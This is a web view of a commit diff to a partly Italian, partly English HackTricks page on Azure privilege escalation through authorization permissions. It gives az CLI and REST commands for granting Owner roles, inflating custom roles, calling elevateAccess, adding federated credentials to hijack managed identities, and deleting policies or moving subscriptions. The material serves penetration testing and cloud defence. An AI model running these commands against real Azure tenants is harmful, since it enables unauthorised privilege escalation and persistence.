gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 14:47:17 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

Browse Source
This commit is contained in:
Translator
2026-05-05 13:19:47 +00:00
parent 5b87e2230a
commit 22b65f9064
1 changed files with 86 additions and 23 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
+86 -23
View File
@@ -4,24 +4,51 @@
## Azure IAM
Per maggiori informazioni consulta:
Per maggiori informazioni controlla:
{{#ref}}
../az-services/az-azuread.md
{{#endref}}
Le autorizzazioni che permettono a un principal di **modificare l'autorizzazione stessa** sono in genere **privesc primitives**. Questo è particolarmente pericoloso quando vengono concesse su scope di **management group** o **subscription**, perché le autorizzazioni vengono ereditate dalle risorse figlie.
### Microsoft.Authorization/roleAssignments/write
Questa autorizzazione consente di assegnare role a principal su uno scope specifico, permettendo a un attacker di scalare i privilegi assegnandosi un role più privilegiato:
Questa autorizzazione consente di creare role assignments su uno scope specifico, permettendo a un attaccante di elevare i privilegi assegnando a sé stesso o a un altro principal controllato un ruolo più privilegiato.
Flusso tipico:
```bash
# Login and confirm current context
az login
az account show
# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"
```
Se il principal compromesso ha questa azione su uno scope, può assegnare direttamente un ruolo privilegiato come `Owner`, `Contributor`, `Key Vault Secrets Officer`, o qualsiasi altro ruolo built-in/custom disponibile in quello scope:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Sapere il **principal object ID** del target user/service principal/managed identity è sufficiente per concedere il nuovo role. Questo può essere abusato per **self-privesc**, **lateral movement**, o **persistence** assegnando il role a un altro principal controllato.
Questa permission permette di modificare le permissions concesse a un role, permettendo a un attacker di escalate privileges concedendo più permissions a un role che ha assegnato.
### Microsoft.Authorization/roleDefinitions/write
Questo permission consente di creare o modificare custom role definitions. In pratica, è pericoloso perché un attacker può:
- Modificare un custom role che è **già assegnato** al principal compromesso, rendendo le nuove permissions effettive immediatamente.
- Creare un nuovo custom role con privilegi eccessivi e poi assegnarlo, di solito in chaining con `Microsoft.Authorization/roleAssignments/write`.
Typical flow:
```bash
# Find the current assignments
az role assignment list --all --output table
# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"
```
Crea il file `role.json` con il seguente **contenuto**:
```json
{
"roleName": "<name of the role>",
@@ -33,19 +60,22 @@ Crea il file `role.json` con il seguente **contenuto**:
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}
```
Quindi aggiorna i permessi del ruolo con la definizione precedente chiamando:
Poi aggiorna i permessi del ruolo con la definizione precedente chiamando:
```bash
az role definition update --role-definition role.json
```
Se il role modificato è **già assegnato** all'attacker, questo può essere un percorso più rapido rispetto alla creazione di una nuova role assignment perché l'inflazione dei permission si applica all'assegnazione esistente.\
Se l'attacker ha solo `roleDefinitions/write`, può comunque weaponize it modificando i role già assegnati a compromised principals.
### Microsoft.Authorization/elevateAccess/action
Questa autorizzazione consente di elevare i privilegi e di assegnare permessi a qualsiasi principal sulle risorse Azure. È pensata per essere assegnata agli Entra ID Global Administrators in modo che possano anche gestire le autorizzazioni sulle risorse Azure.
Questa permission consente di elevare i privilegi e poter assegnare permission a qualsiasi principal sulle risorse Azure. È pensata per essere concessa agli Entra ID Global Administrator, così possono anche gestire le permission sulle risorse Azure.
> [!TIP]
> Penso che l'utente debba essere Global Administrator in Entra ID affinché la chiamata elevate funzioni.
> Penso che l'user debba essere Global Administrator in Entrad ID perché la elevate call funzioni.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +85,29 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Questa autorizzazione permette di aggiungere Federated credentials alle managed identities. Ad esempio, concedere l'accesso a Github Actions in un repo a una managed identity. Poi, consente di **accedere a qualsiasi managed identity definita dall'utente**.
This permission allows to create/update **Federated Identity Credentials (FICs)** on **user-assigned managed identities**. In practice, this lets an attacker add a new trust relationship to an external identity provider and then obtain tokens as that managed identity.
Esempio di comando per concedere l'accesso a un repo Github a una managed identity:
This is a **persistence / identity hijacking primitive**: if the managed identity already has access to Azure resources, the attacker only needs to create a matching external workload (for example, a GitHub Actions workflow) and exchange the external token for Azure tokens.
Useful points to verify before abusing it:
- Which **managed identity** can be modified
- Which **scope/roles** are already assigned to that managed identity
- Which **issuer**, **subject**, and **audience** will be accepted during token exchange
You can create the FIC with the dedicated CLI command:
```bash
az identity federated-credential create \
--name "github-federated-identity" \
--identity-name testMI \
--resource-group bialystok-rg \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"
```
O con raw REST.
Esempio di comando per dare accesso a un repo GitHub a una managed identity:
```bash
# Generic example:
az rest --method PUT \
@@ -71,19 +121,25 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
Una volta creata la FIC, l'attaccante può autenticarsi dal workload esterno e usare i permessi della managed identity già concessi in Azure. Per ulteriori informazioni sull'abuso di GitHub OIDC / workload identity, consulta:
{{#ref}}
../az-basic-information/az-federation-abuse.md
{{#endref}}
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Un attaccante con il permesso `Microsoft.Authorization/policyAssignments/write` o `Microsoft.Authorization/policyAssignments/delete` su un management group, subscription, o resource group può **modificare o eliminare le assegnazioni di policy di Azure**, potenzialmente **disabilitando restrizioni di sicurezza** che bloccano operazioni specifiche.
Un attaccante con il permesso `Microsoft.Authorization/policyAssignments/write` o `Microsoft.Authorization/policyAssignments/delete` su un management group, subscription o resource group può **modificare o eliminare assegnazioni di Azure policy**, potenzialmente **disabilitando restrizioni di sicurezza** che bloccano operazioni specifiche.
Questo consente l'accesso a risorse o funzionalità che in precedenza erano protette dalla policy.
**Eliminare un'assegnazione di policy:**
**Elimina una policy assignment:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Disabilitare un'assegnazione di policy:**
**Disabilita un policy assignment:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
@@ -103,11 +159,11 @@ az policy assignment show \
```
### Microsoft.Authorization/policyDefinitions/write
Un attacker con il permesso `Microsoft.Authorization/policyDefinitions/write` può **modificare le definizioni di policy di Azure**, cambiando le regole che controllano le restrizioni di sicurezza in tutto l'ambiente.
Un attacker con il permesso `Microsoft.Authorization/policyDefinitions/write` può **modificare le policy definitions di Azure**, cambiando le regole che controllano le restrizioni di sicurezza nell'intero environment.
Ad esempio, una policy che limita le regioni consentite per la creazione di risorse può essere modificata per consentire qualsiasi regione, oppure l'effetto della policy può essere cambiato per renderla inefficace.
Per esempio, una policy che limita le regioni consentite per la creazione di resources può essere modificata per consentire qualsiasi regione, oppure l'effetto della policy può essere cambiato per renderla inefficace.
**Modificare una definizione di policy:**
**Modifica una policy definition:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
@@ -121,9 +177,9 @@ az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
Un aggressore con il permesso `Microsoft.Management/managementGroups/write` può **modificare la struttura gerarchica dei management groups** o **creare nuovi management groups**, potenzialmente eludendo policy restrittive applicate a livelli superiori.
Un attacker con il permesso `Microsoft.Management/managementGroups/write` può **modificare la struttura gerarchica dei management groups** o **creare nuovi management groups**, potenzialmente eludendo le policy restrittive applicate ai livelli superiori.
Ad esempio, un aggressore può creare un nuovo management group senza policy restrittive e poi spostare le subscriptions al suo interno.
Ad esempio, un attacker può creare un nuovo management group senza policy restrittive e poi spostare le subscriptions al suo interno.
**Crea un nuovo management group:**
```bash
@@ -131,13 +187,13 @@ az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Modificare la gerarchia dei management group:**
**Modifica una gerarchia di management group:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Verificare le modifiche:**
**Verifica le modifiche:**
```bash
az account management-group list --output table
@@ -147,9 +203,9 @@ az account management-group show \
```
### Microsoft.Management/managementGroups/subscriptions/write
Un attacker con il permesso `Microsoft.Management/managementGroups/subscriptions/write` può **move subscriptions between management groups**, potenzialmente **evading restrictive policies** spostando una subscription in un gruppo con politiche meno restrittive o assenti.
Un attacker con il permesso `Microsoft.Management/managementGroups/subscriptions/write` può **spostare le subscriptions tra management groups**, potenzialmente **aggirando policy restrittive** spostando una subscription in un group con policy meno restrittive o senza policy.
**Spostare una subscription in un diverso management group:**
**Spostare una subscription in un management group diverso:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
@@ -161,4 +217,11 @@ az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
## References
- [IAM the Captain Now – Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access)
- [Assign Azure roles using the REST API - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest)
- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
- [Create trust between user-assigned managed identity and external identity provider](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity)
{{#include ../../../banners/hacktricks-training.md}}